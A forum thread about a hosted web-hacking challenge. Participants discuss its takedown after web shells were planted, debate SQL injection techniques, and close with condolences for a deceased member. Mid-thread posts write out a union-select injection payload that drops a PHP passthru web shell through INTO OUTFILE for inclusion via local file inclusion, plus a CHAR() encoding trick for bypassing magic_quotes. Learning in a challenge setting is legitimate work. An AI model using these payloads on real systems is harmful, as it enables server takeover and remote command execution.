Security Challenge II (Web Hacking Intermediate)

Redshift

Any chance of the code? id love to install this on my VM and actually complete it?
Might I suggest in future that you have to PM for the link to the challenge, might put some of the morons off bothering and give those of us who actually want to learn how to hack manually a chance.
Many thanks for hosting this and putting it together and I hope you are not put off doing more

dlofnep

Redshift - I'll put it back up tomorrow, just need to secure some things. Sorry about that.

Redshift

dlofnep wrote: »

Redshift - I'll put it back up tomorrow, just need to secure some things. Sorry about that.

You're a gent, thanks

chuckleberryfin

That's annoying, you could try some restricted access based on IPs, if the server wasn't compromised.

900913

chuckleberryfin wrote: »

That's annoying, you could try some restricted access based on IPs, if the server wasn't compromised.

How would that work?

dlofnep

900913 wrote: »

How would that work?

A whitelist with iptables, but it's too much bother.

900913

dlofnep wrote: »

A whitelist with iptables, but it's too much bother.

I thought mysql 5.* was locked down to local access only.

user:password:host mysql.user
root:167E7CDA67FDA14F9CCDA1B3AEFDDF49AA7xxxx:localhost

If it was

root: hash: %

Then I could possibly get access to mysql.

But by default the myql db is locked to local connections.

I'm I missing something?

dlofnep

I was referring to the server as a whole.

dlofnep

Sorry guys, I'll put the server backup tomorrow for anyone who wants to have another crack at it.

dlofnep

Sorry for the delay. Challenge back up: http://republicofhack.dyndns.org/

dlofnep

Anyone who may have attempted it yesterday, apologies - I didn't allocate the DB user sufficient privs to complete the challenge. Should be ok now

dlofnep

Who dropped the web-shell btw? They get bonus points.

dlofnep

Alright lads - too many people toying with webshells. I've taken the challenge down.

Completed

sk
Damo2k
netjester
chuckleberryfinn
900913
Pygmalion
Sigtran
rockethamster
Redshift

900913

How could anyone get a webshell uploaded,
Mysql was locked to localhost,
phpmyadmin is blocked
and magic_quotes_gpc = On

There the only ways I know to upload a shell using mysql.

The only other way I can think of is an lfi.

?id=null union select '<?php passthru($_GET[cmd]);?> OR R57 type Shell' into outfile '/tmp/shell'

and then include it with the lfi.

But that wont work with magic_quotes_gpc = on

Pygmalion

900913 wrote: »

How could anyone get a webshell uploaded,
Mysql was locked to localhost,
phpmyadmin is blocked
and magic_quotes_gpc = On

There the only ways I know to upload a shell using mysql.

The only other way I can think of is an lfi.

?id=null union select '<?php passthru($_GET[cmd]);?> OR R57 type Shell' into outfile '/tmp/shell'

and then include it with the lfi.

But that wont work with magic_quotes_gpc = on

But magic_quotes wasn't on

Also, when magic quotes is on you can use the CHAR method to get strings into the query, so in this case SELECT '<?php passthru($_GET[cmd]);?> OR R57 type Shell' becomes SELECT CHAR(60, 63, 112, 104, 112, 32, 112, 97, 115, 115, 116, 104, 114, 117, 40, 36, 95, 71, 69, 84, 91, 99, 109, 100, 93, 41, 59, 63, 62, 32, 79, 82, 32, 82, 53, 55, 32, 116, 121, 112, 101, 32, 83, 104, 101, 108, 108) :P

Handy for when people think magic_quotes or mysql_real_escape_string is some kind of magic catch-all, but use integer IDs that aren't ever actually treated as strings so have no quotes to escape :P.

dlofnep

900913 wrote: »

How could anyone get a webshell uploaded,
Mysql was locked to localhost,
phpmyadmin is blocked
and magic_quotes_gpc = On

There the only ways I know to upload a shell using mysql.

The only other way I can think of is an lfi.

?id=null union select '<?php passthru($_GET[cmd]);?> OR R57 type Shell' into outfile '/tmp/shell'

and then include it with the lfi.

But that wont work with magic_quotes_gpc = on

It was uploaded to the webroot, which wasn't world-writeable. I will have a glance over the access logs later. It was from someone based in Ireland in anycase, I saved their IP address. I'm curious myself. In anycase, if the person involved wants to shoot me a friendly PM - i'd be happy to chat.

900913

Pygmalion wrote: »

But magic_quotes wasn't on

Also, when magic quotes is on you can use the CHAR method to get strings into the query, so in this case SELECT '<?php passthru($_GET[cmd]);?> OR R57 type Shell' becomes SELECT CHAR(60, 63, 112, 104, 112, 32, 112, 97, 115, 115, 116, 104, 114, 117, 40, 36, 95, 71, 69, 84, 91, 99, 109, 100, 93, 41, 59, 63, 62, 32, 79, 82, 32, 82, 53, 55, 32, 116, 121, 112, 101, 32, 83, 104, 101, 108, 108) :P

Handy for when people think magic_quotes or mysql_real_escape_string is some kind of magic catch-all, but use integer IDs that aren't ever actually treated as strings so have no quotes to escape :P.

You still need quotes for "into outfile" or dumpfile. Otherwise you cant write your shell.
'/tmp/shell'

dlofnep

Sorry for bumping an old thread - but just found out that Pygmalion was Paul Bunbury. Unfortunately, his body was found today. Very tragic, and my memory of his posts in the security forum is that he was a very capable hacker with a bright future.

Very very sad.

Redshift

It's tragic to see the life of a talented young person cut short like this. I didn't know Paul other than from his posts in here. But RIP Pygmalion and my deepest condolences to his family and friends:(

900913

Very very sad, he was only 19 years old.
My thoughts are with his family and friends.
RIP Pygmalion